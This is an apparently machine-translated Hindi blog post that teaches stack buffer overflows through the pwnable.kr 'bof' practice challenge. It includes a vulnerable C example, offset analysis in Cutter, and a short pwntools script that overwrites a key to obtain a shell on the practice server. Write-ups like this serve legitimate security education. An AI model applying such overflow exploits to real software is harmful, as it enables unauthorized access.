इस लेख में, हम एक प्रकार की भेद्यता का विश्लेषण करेंगे जैसे कि स्टैक पर बफर अतिप्रवाह, और साइट से तीसरे कार्य को हल करें
pwnable.kr ।
संगठनात्मक जानकारीविशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:
- PWN;
- क्रिप्टोग्राफी (क्रिप्टो);
- नेटवर्क टेक्नोलॉजीज (नेटवर्क);
- रिवर्स (रिवर्स इंजीनियरिंग);
- स्टेग्नोग्राफ़ी (स्टेग्नो);
- WEB कमजोरियों की खोज और उनका दोहन।
इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।
ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे
में जान सकें, मैंने
टेलीग्राम में एक
चैनल बनाया और आईसीडी के क्षेत्र में
किसी भी मुद्दे पर चर्चा करने के लिए एक
समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर
व्यक्तिगत रूप से विचार
करूंगा और सभी का जवाब दूंगा ।
सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।
बफर ओवरफ्लो
बफर ओवरफ़्लो कंप्यूटर प्रोग्राम में मेमोरी में आवंटित बफर के बाहर डेटा लिखने की क्षमता के आधार पर एक भेद्यता है, जो एक नियम के रूप में, अनियंत्रित रसीद और बाहर से डेटा के प्रसंस्करण के कारण उत्पन्न होती है। भाषाओं द्वारा उच्च-स्तरीय स्टैक फ्रेम तकनीक का उपयोग नियंत्रण डेटा और प्रोग्राम डेटा के मिश्रण की ओर जाता है।
इस लेख में, हम स्टैक पर केवल बफर ओवरफ्लो का विश्लेषण करते हैं। इस प्रकार के बफर अतिप्रवाह को स्टैक स्मैशिंग के रूप में जाना जाता है और निम्नलिखित तरीकों से इसका फायदा उठाया जा सकता है:
- बफर के पास स्मृति में स्थित एक स्थानीय चर को ओवरराइट करना;
- स्टैक फ्रेम में वापसी पते को फिर से लिखना;
- एक फ़ंक्शन पॉइंटर या अपवाद हैंडलर को फिर से लिखना;
- एक और स्टैक फ्रेम से एक पैरामीटर को ओवरराइट करना।
यह कार्य एक स्थानीय चर को फिर से लिखने की विधि का उपयोग करता है। निम्नलिखित उदाहरण में इसके सार पर विचार करें:
#include <stdio.h> #include <string.h> int main(){ char pass[9] = "p@ssw0rd\x00"; char buf[9]; printf("Input password: "); scanf("%s", buf); if(!strcmp(pass, buf)) printf("Login ok!!!\n"); else printf("FAIL...\n"); return 0; }
चूंकि
पास वैरिएबल को पहले से परिभाषित किया गया है,
बफ़ चर, इसे ओवरफ्लो करना संभव है। यदि आप
buf में 9 से अधिक बाइट्स दर्ज करते हैं, तो वे
पास चर में डेटा को अधिलेखित कर देंगे। इस प्रकार प्रोग्राम को पास करके अपने आप पासवर्ड को "बदलना" संभव है, उदाहरण के लिए, ऐसी लाइन
11111111 \ x0011111111 \ x00 ।


नौकरी बोफ का समाधान
हम हस्ताक्षर बोफ के साथ आइकन पर क्लिक करते हैं, और हमें स्रोत कोड, कार्यक्रम खुद, साथ ही साथ टीसीपी कनेक्शन के लिए पता और पोर्ट प्रदान किया जाता है।

स्रोत कोड देखें।

यह उस कोड से अनुसरण करता है जो प्रोग्राम स्ट्रिंग को स्वीकार करता है, लेकिन नियंत्रण मूल्य के साथ पहले से वायर्ड कुंजी की तुलना करता है। लेकिन चूंकि इनपुट नियंत्रित नहीं है, और कुंजी हमारे बफर से पहले परिभाषित की गई है, हम बफर को ओवरफ्लो कर सकते हैं और कुंजी को अधिलेखित कर सकते हैं। इसके लिए, स्मृति में चर के सापेक्ष पदों को निर्धारित करना आवश्यक है।
मैं प्रोग्राम का विश्लेषण करने के लिए
कटर का उपयोग करूंगा। कटर खोलें, निष्पादन योग्य फ़ाइल के लिए पथ निर्दिष्ट करें।



कटर हमें प्रवेश बिंदु पर तुरंत भेजता है। कार्यों की सूची में, मुख्य का चयन करें।

मुख्य रूप से, हम अपने फ़ंक्शन के लिए एक कॉल देखते हैं, इसे फ़ंक्शन के नाम पर डबल-क्लिक करके खोलें।

फ़ंक्शन कोड से पहले एक टिप्पणी है, जो फ़ंक्शन में उपयोग किए गए चर और वर्तमान स्टैक फ्रेम (ईबीपी) के आधार के सापेक्ष उनके पते को दर्शाती है। जैसा कि आप निर्धारित कर सकते हैं, हमारा बफर
var_2ch चर है, और कुंजी
arg_8h है ।


हम गणना करते हैं कि हमें कितने बाइट्स को अधिलेखित करने की आवश्यकता है। ऐसा करने के लिए, बस पते के बीच का अंतर ढूंढें।

इस प्रकार, हमें किसी भी बाइट्स को प्रोग्राम 0x34 भेजने की आवश्यकता है, और फिर एक उदाहरण के लिए संदर्भ मान जोड़ें। सुविधा के लिए, मैं
pwntools पुस्तकालय का उपयोग करता
हूं ।
from pwn import * conn = remote('pwnable.kr', 9000) payload = 'A' * 0x34 payload += '\xbe\xba\xfe\xca' conn.send(payload) conn.interactive()
हमें शेल मिलता है और ध्वज को देखता है।

परिणामस्वरूप, हमें अपने अंक मिलते हैं।

इस लेख में, हमने एक स्टैक पर बफर ओवरफ्लो का शोषण करने के एक उदाहरण को देखा, कटर टूल और प्वॉइंट्स लाइब्रेरी को जानना। अगले लेख में, हम पैकेजिंग निष्पादन योग्य फ़ाइलों के बारे में बात करेंगे और चौथे कार्य को हल करेंगे। आपको निम्नलिखित लेखों में देखें।
हम एक टेलीग्राम चैनल में हैं:
टेलीग्राम में एक
चैनल ।